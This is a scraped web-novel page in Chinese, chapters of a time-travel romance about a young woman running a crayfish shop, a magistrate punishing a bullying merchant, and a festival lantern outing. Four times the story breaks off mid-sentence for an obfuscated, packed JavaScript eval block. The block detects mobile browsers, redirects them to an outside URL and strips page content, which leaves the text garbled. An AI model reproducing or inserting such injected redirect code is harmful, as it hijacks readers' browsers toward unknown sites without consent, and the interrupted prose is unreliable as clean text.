她知道，乡里乡亲的，都为人朴实，你待人实在，人家自然也待见你，何况自己做生意的，不仅要靠味道，还得有个好人缘。 第三天，天刚亮，乔穗就扛着虾网、提着竹篮去了溪边。 小龙虾一直都是她自己抓，她摸透了习性，半个时辰就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103143|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓一大筐。 她把抓回来的几筐小龙虾倒在大盆里，用水冲洗几遍，再拿刷净虾壳，剔除虾线，手脚麻利，娴熟得很。 处理干净后，再把这些小龙虾一一装进竹篮里，扁担挑去铺面。 铺子没有举办开张仪式，在门口立上一块块木牌，上面写着“禾记小龙虾”，再让王婶帮着敲两声锣，喊两嗓子，就算开业了。 王婶敲着锣，扯着嗓门喊：“穗丫头的禾记小龙虾开张喽！今天开张，买五只送一只！大伙儿快来尝鲜嘞！” 喊了几声，来往的乡亲们就凑了过来，还有不少人知道今天开张，早早地便在门口等着。 乔穗把灶台里的火烧起来，锅热了之后往里面倒上油，再扔进去姜片蒜瓣和干辣椒，爆锅之后，再把八角桂皮香叶倒进去炒，炒好之后再把处理干净的小龙虾倒进去，盖上盖子闷煮。 浓郁的香味飘了出来，引得卖炊饼的大哥都停下了脚，伸着脖子喊道：“妹子，你这锅里的是啥，闻着恁香？” “是小龙虾，大哥要是不赶时间，可以进来尝尝。”乔穗冲着门外的大哥喊到。 蒸汽裹着香味顺着锅盖的缝里不断钻出来，馋得院里的小孩直咽口水，拉着大人的手喊：“娘，我要吃，我要吃！” “穗姐姐还没做好呢！急什么！” “别急别急，保准都能吃上。”乔穗听见后，笑着说到。 她动作麻利，做好一锅卖一锅，算账找零半点都不含糊，有的人第一次买没带够钱，她也爽快的说：“没事，先拿回去吃，下次来给就行，乡里乡亲的，不讲究。” 张叔张婶也是一大早就过来了，帮着乔穗递篮子、扯油纸，有时候，见人多挤着，还冲着大伙儿喊道：“大儿伙排个队，别挤，都有份！” 王大伯也拎着个瓷碗过来，笑着说：“穗丫头，给俺称一斤香辣的回去下酒，正好尝尝你这新灶台炒出来的味。” 有的人买到后等不及，就在院子里吃，吃完还忍不住喊：“穗丫头，你这手艺可比之前摆摊的时候更地道了！” 旁边人也跟着附和：“可不是嘛，现做的就是不一样，过瘾！” 乔穗一边忙活一边应道：“多谢大伙儿捧场，我又加了些调料进去，都是昨儿新买的，大家放心买放心吃。” 隔壁的李奶奶拄着拐杖过来，大伙儿看见了都连忙让她坐下，乔穗看到后赶紧盛了半碗黄金小龙虾，放到她的面前，笑着说：“奶奶，这是黄金小龙虾，您尝尝，不用给钱。” 李奶奶笑着夸她：“你这丫头，心善，还会做人，这生意啊指定越做越好！” 几个熟悉的婶子看她忙，都主动过来帮着择葱、递调料，乔穗笑着道谢，都摆摆着手说：“谢啥，都是邻居，搭把手的事。” 开张的生意红火，才一上午，乔穗抓的小龙虾就卖完了。 乡亲们走的时候还不忘笑着跟她道别，说做的好吃，下次还来，还有外村的人特意问：“妹子，你这天天都开吧？俺下回想领着家里人过来吃。” 乔穗笑着回答：“天天开，只要大伙儿想吃，我这灶台就不熄火。” 张婶帮着她收拾灶台，递过来一碗水，对她说：“歇会吧，忙了大半天，嗓子都哑了。” 乔穗接过来喝了一口，嗓子顿时舒服了不少。 坐在院子里，心里踏踏实实的。 她知道，这铺子卖的不仅仅是营生，更是乡亲们的情分，她一定会凭自己这双手，凭着这份实在，把这小龙虾生意做起来，把在这儿的日子过得红红火火。 8. 县令惩恶商 乔穗的虾洗得干净，味也地道，辣的鲜的都有，而且价钱公道，只要想吃的都能买上那么两只。 这日，刚开张半个时辰，半筐虾就卖没了。 一大早她就忙得脚不沾地，收钱称虾，嘴也停不下来。 “李大娘，还是香辣的？给你装两只大的！” “哟，王大哥！赶路累了吧，进来坐下吃！” 乔穗动作利索，称虾装虾收钱找零一气呵成，要是额头冒汗了，就抬起手用袖子抹一把，不管多忙，脸上始终带着笑，而且为人实在，村民们都乐意跟她打交道。 晌午不到，小龙虾就卖空了，晚来的人和她抱怨着没买到，乔穗笑着说：“明儿我多抓点，早点来保准都有。” 然后便开始收拾锅灶，再将院子里客人吃完的虾壳收拾起来，把抹布投洗好来擦桌凳，都打扫干净之后才挑着空竹篮回家。 吃过午饭简单歇一会儿，又扛着抓虾的工具去河边，抓虾捞虾，得把第二天的小龙虾都准备出来，不然错过镇里早市的时间，人流量就变得少了。 往后几日，她每天天不亮就起来抓虾，回来再刷虾壳、剔虾线，然后再挑着处理好的虾去铺面开张，到晌午，虾都卖空了，下午再去河边抓虾，像个陀螺一样连轴转。 铺子开了有些日子，买小龙虾的人越来越多，不光本村的，还有隔壁村的，就连镇上的人听说她做的小龙虾好吃，都特意跑过来买，大伙儿的热情让她一个人根本忙不过来，天天抓虾抓到天黑，累得腰连都直不起来，回到家里，往床上一倒，连动都不想动。 可就算再忙，乔穗也不糊弄人，小龙虾一直都洗得干干净净的，做虾时的调料也放的足足的，称虾的时候从来不缺斤少两，偶尔差那么一两，她都得给人再放上一只。 她说：“绝不能让支持我的乡亲们吃了亏、寒了心。” 张叔张婶偶尔来铺子里帮帮忙，见她这些日子熬得脸都瘦了，都劝她说：“穗丫头，你这一个人扛不住，雇个人帮衬着吧，能省不少力气。” 李大娘来买虾，坐在院子里也劝道：“可不是嘛，村里闲着的姑娘媳妇不少，挑个实诚麻利的，给点工钱总比自己硬扛强。” 乔穗心里也一直琢磨着雇人，就是一直没找着合适的。 村里好些人要么手脚慢，要么爱贪小便宜，她做生意讲究的是实在，就算雇人也得找个靠谱的，绝不能为了一时省力，随便找个人草草了事。 这日一早，她抓完了虾正往家走，碰见村里的萍丫头割猪草回来。 萍丫头十六岁，爹娘走得早，跟着奶奶过，性子老实，手脚却麻利的很。 村里人喊她干活，她都踏踏实实的，从来不偷懒，也不贪工钱。 乔穗觉得，她很合适。 于是便喊住她：“萍妹儿，我这店里生意忙，想雇个人帮我忙活忙活，洗虾、招呼客人、收拾桌凳，一天十五文钱，管一顿晌午饭，你愿不愿意来？” 萍丫头听清之后，眼睛一亮，连忙点头：“愿意愿意！穗姐，我啥都能干，绝不偷懒！” 乔穗笑着说：“那明儿一早，你来我家，我教你咋弄。” 雇了个踏实肯干的人，乔穗心里的一块大石头落了地。 第二天，她刚起来不大会儿，萍丫头就来了。 乔穗教她刷虾壳、剔虾线，还嘱咐她称虾的时候一定要给够分量，客人走了要及时收拾，眼睛亮些，桌凳脏了要及时擦，还有一些细枝末节，也一一交代好。 萍丫头学得快，一点就通，虾收拾得干净，收拾桌凳也仔细，没多久就上手了。 多了个人帮衬，乔穗轻松多了。 两人天天一起去河边抓虾，回来后，萍丫头洗虾、收拾，乔穗负责煮虾炒虾，配合得特默契。 开张后，萍丫头负责招呼客人、装虾、收拾桌凳，乔穗称虾、收钱，再也不用忙的脚不沾地。 晌午还能腾出功夫，在铺子里煮上两碗面，炒个青菜，俩人坐在铺子里的一起吃。 多了一个人，乔穗就能多抓一些小龙虾，小龙虾做的多了，就不会在晌午前卖空了，有时候大家就算来的晚点也能买到。 萍丫头嘴甜，招呼客人细致周到，把活干的妥妥帖帖的，过来买小龙虾的人都喜欢这个老实姑娘。 乔穗的“禾记小龙虾”在附近几个村也算是小有名气，镇上的人买回去都说好吃，一传十十传百，大家都特意赶过来买。 这日晌午，乔穗正忙着称虾，来了两个衙役，穿着青布差服，冲着正忙的乔穗喊了声：“乔娘子，沈大人让我们来称小龙虾，每样各来二斤。” 野生代言人可是好久没来了！ 她连忙答应着，手脚麻利把小龙虾称好，又单独包了几只大的，交给二人，说：“沈大人提点过我，这几只是我的一点心意，不算钱。” 衙役推辞了两句之后收下，然后道了谢离开了。 新来的客人见她认识县太爷，眼里漏出了几分惊讶，还有的张嘴问了两句，她只是笑着应和着，却没有多提，低着头继续忙活。 沈宴之是个好官，她不想借着他的官威来做生意。 日子过得很快，一晃十来天过去了。 这日，乔穗正和萍丫头在铺子里忙活，忽然来了个穿着绸缎衣裳的中年男人，身后跟着两个小厮。 走到锅前，瞥了眼里面的小龙虾，冷哼一声，然后对着乔穗说道：“你这铺子，租给我吧，我出双倍的租金。” 她打量了一下眼前的男人，衣着打扮像是个生意人，又或许是哪个员外。 乔穗摇摇头：“抱歉，我这铺子跟村老签了约，租期内，不能转租。” “签了约又如何？”中年男人一脸不屑，接着说：“我出三倍的租金，村老那边，我去说，你一个乡下丫头，守着这么个小铺子，能赚几个钱？还不如租给我开个杂货铺，保准赚的不少。” 这人是镇上的杂货铺老板，名叫谢旺财，听说村口有家铺子生意红火，老板还是个乡下丫头，好欺负，便想着带人来抢，觉得只要自己多给点钱，就能让她卷铺盖挪地方。 乔穗放下手里的勺子，语气冷了下来：“我这铺子虽小，却是我一步一步做起来的，不是靠钱就能买的，你就算出十倍的租金，我也不租，您请回吧。” 她虽为人老实，却也不是个好欺负的。 这铺子是她靠诚意从村老那租来的，生意也是她靠着手艺和实在一点点做起来的，凭什么让给别人？ 别说三倍租金，就算再多，她也不松口。 谢旺财没想到一个乡下丫头竟然这么硬气，顿时恼了，嗓门大了些：“你这村姑，别给脸不要脸！我告诉你，这铺子，我志在必得，你要是不识相，休怪我不客气！” 萍丫头吓得脸色发白，拉了拉乔穗的衣角，低声说：“穗姐，他是镇上的谢老板，有钱有势的，咱们别跟他硬刚。” 乔穗拍了拍萍丫头的手，示意她别怕，看着谢旺财，一字一句道：“我这铺子，是跟村老按村里的规矩租的，你若是有本事，便去跟村老说，要是村老让我挪地方，我二话不说就把这铺子让出来，要是村老没发话，你就算给我五倍十倍的租金我也不让！你再在这儿撒野，就别怪我去报官！” 她本来不想提沈宴之，可眼前这胖子欺人太甚，自己不是任人拿捏的软柿子，沈宴之是县令，掌管一方，谢旺财再有钱，也绝对不敢跟官府作对。 谢旺财听了，眼睛一瞪，往地上啐了口唾沫，扯着嗓子喊：“沈大人？那沈宴之是我远房表亲，你出去打听打听，镇子里谁不敬我三分？他的话还不如我一句管用！你个做饭的村姑也敢跟我犟，今天这铺子你让也得让，不让也得让！” 说着他便让身后的小厮去推乔穗，想硬抢。 院子里的嫂子大婶们虽然看不惯，却都是女子，不敢贸然上前，更何况谢旺财有钱有势，镇里的杂货铺都是他的，要是惹了他，怕是连杂货铺的门都进不去了。 乔穗早有防备，一把攥住推她的小厮的手腕，死活不让他往前半步。 谢旺财看乔穗有些力气，立刻挥手让另一个小厮也上去帮忙。 谢旺财嘴里还骂骂咧咧的，萍丫头吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103144|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得躲在乔穗身后，小声喊着：“别打了别打了”，却也伸手去拉小厮的衣角。 三人在铺子里面揪扯着，乔穗推了二人好几下就是不肯松口，中间还不忘把谢旺财往外推了一把。 双拳难敌四手，推搡了几个来回，她被谢旺财的两个小厮摁在了原地。 谢旺财满脸得意的笑着上前：“小娘子，只要你答应把铺子转给我，我就放了你。” “呸！你个穿红着绿的肥□□，想抢我的铺子，休想！”说着还抬起腿踢了他一脚。 “你说谁是肥□□？！” “说你是□□都脏了□□这个词！你就是个一身肥油老不要脸的肥泥鳅！没事儿在家记得多照照镜子，好好看看你那张令人作呕的肥脸！” “大胆！不识抬举还口出秽语！老子今天非要好好教训教训你！”谢旺财恼羞成怒，抬手就要打乔穗的脸，就在巴掌要落下去的瞬间，身后传来一声冷喝：“住手！” 谢旺财的手僵在半空，回头一看，只见沈宴之穿着官服站在大门外，身后跟着一队衙役，平日温润的脸上此刻带着几分寒意，双眼正冷冷地看着他。 院里的乡亲们看沈宴之来了，纷纷俯身行礼。 谢旺财扬在半空的手也慢慢落了下来，刚才的嚣张劲半点不剩，张了张嘴，结结巴巴说道：“沈、沈大人，您、您怎么在这？” 沈宴之？他怎么来了？ 乔穗趁机挣脱开来，扶着吓得发抖的萍丫头，抬头看向沈宴之。 沈宴之走进来，目光落在谢旺财的身上，声音冰冷：“光天化日之下，在村里当众撒野，强占民产欺压妇孺，该当何罪！” 谢旺财吓得一激灵，双腿一软，差点跪下去，连忙出声辩解道：“大人误会，误会啊！小的不是欺压，实在是，是这小娘子占着铺子不讲理，小人只是想跟她理、理论一下。” 说着还不忘往远房表亲上扯，“大人，小人是您远房……” “住口！”沈宴之厉声打断，脸上的寒意多了几分，“本官何时有你这般目无王法强抢民产的亲戚？” 此话一出，将谢旺财怼的哑口无言，低着头，连大气都不敢喘。 身后的衙役上前一步，厉声喝道：“谢旺财，还不向乔娘子认错！” 谢旺财一听，连忙对着乔穗拱手作揖，：“乔娘子，是我糊涂，我不该撒野，不该硬要你的铺子，您大人不记小人过，别和我一般计较。” 乔穗看了他一眼，没说话，而是对沈宴之行了个礼，说：“沈大人，民女这铺子，是按村里规矩跟村老租的，有字据为证。” 沈宴之点头，目光再次落向谢旺财，冷声道：“谢旺财，光天化日之下，不循村规、不禀官府，强占民产，欺凌妇孺，口出狂言、妄冒本官亲眷，数罪并罚，按律，当杖刑八十。若日后再犯，本官定当从重治罪，绝不宽宥！” 此话一出，谢旺财不受控制的跪在地上，连连磕头求饶：“大人饶命！大人饶命！小人知罪，小人再也不敢了！求大人放过小人这一回吧！” “带回去！” 两个衙役听令上前，架着连连求饶的谢旺财先行拖回了官府。 沈宴之上前，看了眼乔穗和萍丫头，关切道：“可有受伤？” 乔穗摇头，“无事。”接着看了眼萍丫头，说道：“怕是吓到了萍妹妹。” “日后再有人滋事，直接去县衙报官便是。” 乔穗俯身道：“谢大人体恤。” 沈宴之微微颔首，随后带着衙役，继续巡查去了。 萍丫头松了口气，拍着胸口说：“穗姐，你可真勇敢，刚才可把我吓坏了。” “他欺人太甚，我若是退了，他便得寸进尺，这铺子是我的，我凭什么让他？”乔穗说着，重新拿起了勺子忙活，丝毫没被刚才发生的事情影响。 她不是遇事退缩的人，越是欺负，她越硬气。 只有她自己有本事，才能守住自己的东西。 院里的村民都拍手叫好，说乔穗有骨气，不轻易的被钱诱惑，也不怕恶势力，心里面都越发的佩服她。 9. 相约中元节 三日后，傍晚。 卖完了小龙虾，乔穗正打扫着，萍丫头家里有事，她一个人收拾着客人们留下的残局，正准备洗了抹布擦灶台，一抬头，发现沈宴之此刻正站在自己的铺子门口。 他手里拿着折扇，没带小厮，也不出声，一个人不知道在那站了多久。 “沈大人？您怎么来了？” 他今天穿了一身月白色的常服，颜色雅致衬得整个人温润俊朗，和昨日处置谢旺财时的冷冽果决判若两人。 他眉眼弯了弯，声音温和的说道：“闲来无事，便过来看看，你开了店，本官还未来得及向你道喜。” 如今二人也算相熟，乔穗租这个铺子，是受了沈宴之的提点，加上之前同意让医官当众验虾，还有昨日处置谢旺财，前前后后的帮她解决了不少麻烦。 何况沈宴之待人温和，乔穗和他相处起来，倒是有了几分寻常朋友般的随意。 “哪里，我租下这个铺子，还是靠了大人的提点，大人要是不嫌弃，便进来坐吧。” 沈宴之走了进来，寻了其中的一个长凳坐下，面前的桌上还放着乔穗没来得及收拾的虾壳。 见他坐下，乔穗连忙洗了抹布，过来收拾桌子上的虾壳。 沈宴之当即抬手去接，说道：“我来吧，你一个人收拾起来也费功夫。” 她拿着抹布的手顿了顿，随后往后缩了一下抹布，笑道：“哪能让大人做这些粗活，这点事我自己来，您坐着就行。”说着就要绕开他收拾桌上的虾壳。 沈宴之却执意伸手将抹布接了过来，然后直接擦上了桌子，动作利落的收拾起来，没有半分嫌弃。 “你我如今也算是相熟，这没外人，不用这般拘着。作为朋友，搭把手再正常不过了，总不能坐在这看你一个人忙。” 此话一出，乔穗先是一愣，随后扬起嘴角，笑了笑，算是认同了他的话。 他既执意如此，她便也不再推辞，既是朋友，帮个忙也是理所应当。 有了沈宴之帮忙，铺子的卫生很快就收拾好了。 乔穗从柜子里拿了个干净的杯子，给他倒了一杯晾好的开水，放到他面前，笑着说：“大人辛苦了，喝口水歇歇，我这没有茶叶，还请大人不要嫌弃。” 沈宴之拿起杯子喝了一口，笑着说道：“我只是帮了一点小忙，铺子刚开起来的那两日，我巡查路过，见你一人忙前忙后的，很是辛苦，如今雇了人，想是轻松些，只是那姑娘今日怎的不在？” “她家里的祖母染了风寒，无人照顾，便让她早些回去看看。”乔穗坐在他对面，说道：“倒也早习惯一个人忙活了，平日里萍妹妹在这是帮手，不在也能应付。” “那也别太熬着。”沈宴之颔首，目光扫过铺子里的摆设，货架上的东西摆得整齐，灶台上的厨具擦得锃亮，每一处干净的地方都在透着她的利落，“前日处置了谢旺财，这两日没人再敢来滋事了吧？” “早没了。”乔穗笑了笑，“他挨了八十板子，躺在家里连床都下不来，旁人心里有数，谁还敢来触这个霉头。倒是村老昨日过来坐了坐，说往后要是有不长眼的，让我直接去寻他，或是去县衙找你。” “村老倒是明事理。”沈宴之指尖轻轻敲着桌面，然后像是想到了什么，开口问道：“你租铺子时，没和村老提我的名字？” “你怎么知道？” “村老去镇上办事，路过县衙和衙役们提了一嘴，说你待人实在，靠自己的诚意租铺面，不肯借我的官威施压。”沈宴之的目光落在她身上，带着几分赞许，“像你这般不趋炎附势的，越发少见了。” “生意是自己的，若是靠旁人的名头做起来，心里不踏实。”她坐在沈宴之对面，话说得实在，“我租这铺面，是因为位置好，好做生意，村老肯租我，是瞧我规矩实在，我做生意和大人没关系，所以不能借着您的名头，让村老心里不痛快。” 沈宴之闻言，唇角的笑意更浓，点了点头，说道：“你倒是想得明白。” 接着补充道：“你这铺子位置好，来往的人多，生意稳当便是极好的，若是发生什么事，只管去县衙寻我，不必客气，为官者自当为百姓解忧。” 乔穗应着：“那是自然，亏得大人提点，不然我这铺子也开不了这么顺利。当初要不是你说这村口的铺子客流多，我未必能选到这么合适的地方。还有上次验虾的事，也多亏你，要不是你同意让陈医官当众查验，这小龙虾怕是卖不出去，我这铺子自然也开不起来。” “都是我应该做的。”沈宴之摆摆手，笑着说道：“你凭自己的本事做生意，总不能让人平白搅和了。何况百姓日子过得安稳，才是我这个县令该做的事。” 两人就这么有一搭没一搭地聊着，没有上下级的生分，倒真像是寻常朋友唠家常。 沈宴之像是突然想到了什么，收起折扇，开口道：“对了，再过三日，便是中元节了。” 乔穗脸上的笑容顿了一下，眉眼微垂，没吭声。 她自然知道中元节，原主的记忆里，这是祭祖的日子，爹娘走得早，只剩自己和祖母相依为命，祖母腿脚不好不便出门，往年都是煮两碗素面，坐在屋里吃完了，便算是祈福了。 今年祖母走了，她生了场大病也走了，乔穗借了她的身子，也看到了她的过往，这日子于原主而言，怕是没什么暖意。 见她不语，沈宴之便继续说了下去，语气依旧温和：“城里的中元节，比村里热闹多了。街口会摆集市，卖些花灯、纸扎，还有各式各样的吃食，天黑之后，大家都去护城河边放河灯祈福，河面上亮堂堂的，倒也好看。” 他说着，抬起头目光诚恳的看向乔穗，因知道她的境况，如今的二人也称得上是朋友，他才敢提这些话。 “我想着，你亲人走得早，平日里也没个机会寄份心意。中元节这河灯，最是应景，若你有空，不如同我去城里走走，放盏河灯，也算替家人和自己求个安稳。” 听着这些话，乔穗的心里轻轻动了一下。 她不是这身体的原主，一场意外穿越而来，占了她的身体，靠着她的人情做起了生意，在这陌生的时代站稳了脚跟。 沈宴之口中的爹娘，是原主的亲人，不是她的。 可这些日子以来，她顶着乔穗的身子，吃着这世间的饭，享受着这一点点的安稳，命运早就将她们二人深深地绑在了一起。 原主生前孤苦，怕是从来没去过城里，更没见过放河灯的模样，如今她成了乔穗，就算是替原主告慰她的家人，说他们的女儿现在过得好好的，能自己挣钱，也能守住自己的铺子，不用再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103145|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受旁人的冷眼和欺负，往后也会好好的生活下去。 同时也替她自己，在这举目无亲的世界里，求个安稳，求往后的日子能顺顺利利，能一直守着自己的龙虾铺子，过自己想过的日子。 她向来不信神佛，不信祈福这些虚名。 可这一刻，倒觉得放一盏河灯，也没什么不好。 既给了原主一个交代，也给自己这颠沛流离的日子留个念想。 她脸上没有过多的情绪，抬头看向沈宴之，轻轻的点了点头，声音清晰：“也好，那就去看看。” 她应得干脆，倒让沈宴之愣了一下。 “那便说定了。三日后傍晚，我来村口接你，戌时是放河灯最盛的时候，夜里凉，记得添衣。” 乔穗嘴角扬起了一抹浅浅的弧度，应道：“知道了，麻烦你了。” “不麻烦，顺路罢了。”沈宴之站起身，将折扇揣进袖中，笑着说，“那我便回去了，三日后见。” “沈大人慢走。” 萍丫头早就回来了，见沈宴之走了，才从门外走了进来。 乔穗见她跑了回来，关切道：“你几时回来的？祖母可好些了？” 萍丫头如实说道：“好些了！祖母惦记着铺里，便让我回来看看。见沈大人在里面，我便没进来。” 随后笑嘻嘻的凑到乔穗身边，挽着她的胳膊，眼睛亮晶晶的，带着点兴奋说道：“穗姐，沈大人邀你去城里放河灯呀！城里的中元节肯定可热闹了，我长这么大，还从来没去过呢！ 乔穗抬手揉了揉她的头，失笑：“瞧你这点出息，带你去便是，正好帮你祖母祈福。” “太好了！”萍丫头蹦跶了一下，随即又凑到乔穗耳边，小声嘀咕，“穗姐，我觉得沈大人对你，好像不一般呢。” 乔穗挑眉：“怎么不一般了？” “你想啊。”萍丫头掰着手指头数到，“前日谢旺财来闹事，他第一时间就过来撑腰，二话不说就治了谢旺财的罪。” “今日又特意穿了常服，没带小厮，过来看你。” “现在还邀你去城里放河灯，还特意叮嘱你夜里凉记得添衣，这哪里是对寻常百姓的关心啊！” 萍丫头跟着乔穗久了，心思也细，平日里见沈宴之对旁人都是客客气气的，唯有对乔穗，是不一样的。 乔穗听着，只是淡淡笑了笑，没往心里去，“不过是相熟罢了，沈大人是个好官，体恤百姓也是应当的。” 她的心里现在根本没有什么儿女情长，只想着三日后中元节的河灯，想着替原主也替自己，好好的放一盏。 于她而言，最重要的，从来都是守着自己的小龙虾铺子，再过好自己的日子，至于其他的，一概没心思顾及。 可萍丫头却不这么想，她抿着嘴在一旁暗暗琢磨，沈大人这般，分明是对穗姐有意思。 穗姐性子硬，人又好，配沈大人这样的温润县令，倒也正好。 她心里还偷偷盼着三日后的中元节，不光是想去城里看看热闹，更想看看沈大人和穗姐一起放河灯的模样。 乔穗没察觉萍丫头的小心思，只是拿起锁头，准备锁铺子回家。 晚风吹过，树上的叶子沙沙作响，她抬头看了看天边的晚霞，心里想着，三日后的河灯，该是亮堂堂的吧。 10. 花灯证心意 中元节当日。 村民们都挤在上午来铺子里买小龙虾，说下午要和家里人赶着去城里的集市上凑凑热闹。 才晌午，店里的小龙虾就卖光了，乔穗和萍丫头简单吃了一口午饭，和平时一样收拾好铺子里的一切，想着和沈宴之的约定，便将铺子关了门，落了锁。 之后回到家里换了一身干净的素色衣裳，和萍丫头约在村口的大柳树下一同等沈宴之。 傍晚，天边被晚霞染成了红色。 萍丫头站在树下，踮着脚四处张望，眼里亮晶晶的，对城里的一切充满了好奇和期待。 “瞧你急得，沈大人说了会来，就一定会来。”乔穗看着她欢喜的样子，笑着说。 “我这不是高兴嘛！” 片刻后，一道月白色的身影出现在路的那头，沈宴之依旧没带小厮，自己一个人，手里还提着个竹篮，不紧不慢的往村口走。 他看见乔穗二人，嘴角扬起一抹淡淡的弧度，步子快了些：“来晚了，让你们姐妹久等了。” 乔穗摇了摇头，嘴角噙着一抹笑意，说道：“刚收拾完铺子，倒也没等多久。” 萍丫头站在后面，笑呵呵的和沈宴之问了好，沈宴之依旧如往常那般，温和有礼的点了点头。 夕阳的余晖照在三人身上，把影子拉的长长的。 萍丫头一边走着，一边好奇地问城里的集市上都有些什么，沈宴之听着她的问题，耐着心一一解答。 偶尔转过头看一眼走在身侧的乔穗，见她望着路边的稻田出神，便没出声打扰，只是放慢脚步，和她并肩同行。 乔穗看着眼前的景色，心里想起了原主。 她这一生，都在守着祖母和村里的几分薄田，连镇子都不常去，更别说城里了。 如今自己用她的脚步，替她走去从未到过的地方，用她的眼睛，替她看从未见过的光景，把她这辈子没来得及享的福，一点一点的都补回来。 “在想什么？”沈宴之的声音，从身边轻轻的传来，打断了她的思绪。 乔穗回过神，摇了摇头：“没什么，只是觉得城里的路，比村里的宽些。” 他失笑：“等进了城，会更热闹。” 正如沈宴之所言，刚走到城门口，人便多了起来，来来往往的，手里面还提着花灯，笑呵呵的。 城门口小贩早就摆好了摊子，卖花灯的、纸扎的、吃食的，吆喝声此起彼伏，十分热闹。 萍丫头看着这些眼睛都直了，拉着乔穗这看看，那走走。 乔穗任由她拉着，笑着说：“喜欢便挑一个。” 沈宴之跟在两人身后，看着二人脸上的笑意，心里竟觉得比这街上的热闹还要暖一些。 他出身名门，见过的世家小姐不少，温婉的、娇俏的、知书达理的，却从未见过像乔穗这样的。 一身素净的青布衣衫，站在熙熙攘攘的集市里，不卑不亢，笑起来时，脸上又带着几分温和纵容，就像田地里面种着的向日葵，迎着光，开得热烈。 萍丫头在花灯摊前，挑了个兔子样的河灯，沈宴之想付钱，乔穗摆了摆手，说：“我带她出来的，我来付。” 沈宴之收了手，看着她的侧脸，嘴角的笑意又深了些。 她自己没挑花灯，只在摊前看了看，那些精致的荷花灯、鲤鱼灯，样子虽然好看，却不是她真正想要的。 沈宴之将一切看在眼里，带着二人往护城河边走，那里摊贩更多，大多是卖河灯的，还有人支着摊子，替人写祈福的字条。 “河灯还是在这边挑的好，都是新扎的，下水不容易破。” 沈宴之说着，领着二人走到一个老丈的摊子前，眼前的河灯都是竹骨纸面，做得扎实，颜色也素净，多是白色和浅荷色，倒是合了乔穗的心意。 她挑了个小小的荷花灯，浅荷色的纸，边缘上还沾着淡淡的银粉，在夜色里泛出微微的光。 沈宴之挑了个和她同款的，只不过大了点，萍丫头又挑了个小鲤鱼灯，红通通的，很是好看。 三人提着河灯走到护城河边。 此时的天已经黑透了，河边的灯笼亮了起来，映的河面上波光粼粼的。 不少人蹲在河边，放河灯祈福，希望河灯顺着河流把自己的心意带给远方的家人。 萍丫头小心翼翼地把自己的红色鲤鱼灯推到水里，然后双手合十，闭上眼睛许愿。 乔穗看着她，笑了笑，随后拿起自己的荷花灯，准备放到水里。 不料脚下的石板沾了水有些发滑，她微微一晃，手里的河灯差点掉在地上。 一旁的沈宴之眼疾手快的扶住了她的胳膊，力道虽轻，却很稳。 “小心些，石板滑。” “多谢大人。” 她轻轻挣开扶住自己的手，将河灯慢慢的推到了水里。 “乔穗，愿你和你的家人，团聚安稳，来生无忧。愿我自己守心守志，安稳度日。 她不求大富大贵，只求人生安稳。 可偏偏，命运弄人，把她带到了这陌生的地方。 于她而言，守好自己的小龙虾铺子，在这里踏踏实实的过日子，就够了。 她睁开眼，看着那盏小小的荷花灯，顺着河流，慢慢的飘向远处。 “乔穗，我会替你，在这个时代，好好的活下去。” 沈宴之站在一旁，看着乔穗的侧脸，此刻她的眉眼间少了平日里的利落，眼波流转，多了几分少见的温柔。 他看着二人一同飘远的河灯，心里突然生了一个念头，若是能这样，和她一起看一辈子的河灯，倒也挺好。 沈宴之从来没想过自己竟会生出这样的想法。 他出身世家，又是朝廷命官，将来少不了圣上指婚，而她只是街巷间的一个小店主，二人身份悬殊。 可方才那一刻，他竟忘了这些，只想着和眼前人一同看这满河的星光，求这一生的安稳。 三人在河边看了一会儿河灯，便准备往回走，不能耽误明天开店。 一路上，三人没怎么说话，萍丫头挎着乔穗的胳膊，打着哈欠，连眼皮都快睁不开了，乔穗便轻轻拍了拍她的手，哄着她说就快到了。 沈宴之跟在一旁，听着乔穗的温柔劝哄声，看着她牵着萍丫头的样子，藏着的心思愈演愈烈。 他见过她做生意时的精明，见过她收拾铺子时的利落，也见过她遇事的冷静，却从未见过她像眼前这般温柔，就像春日里的落下的细雨，落在河里荡起了一圈圈的涟漪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 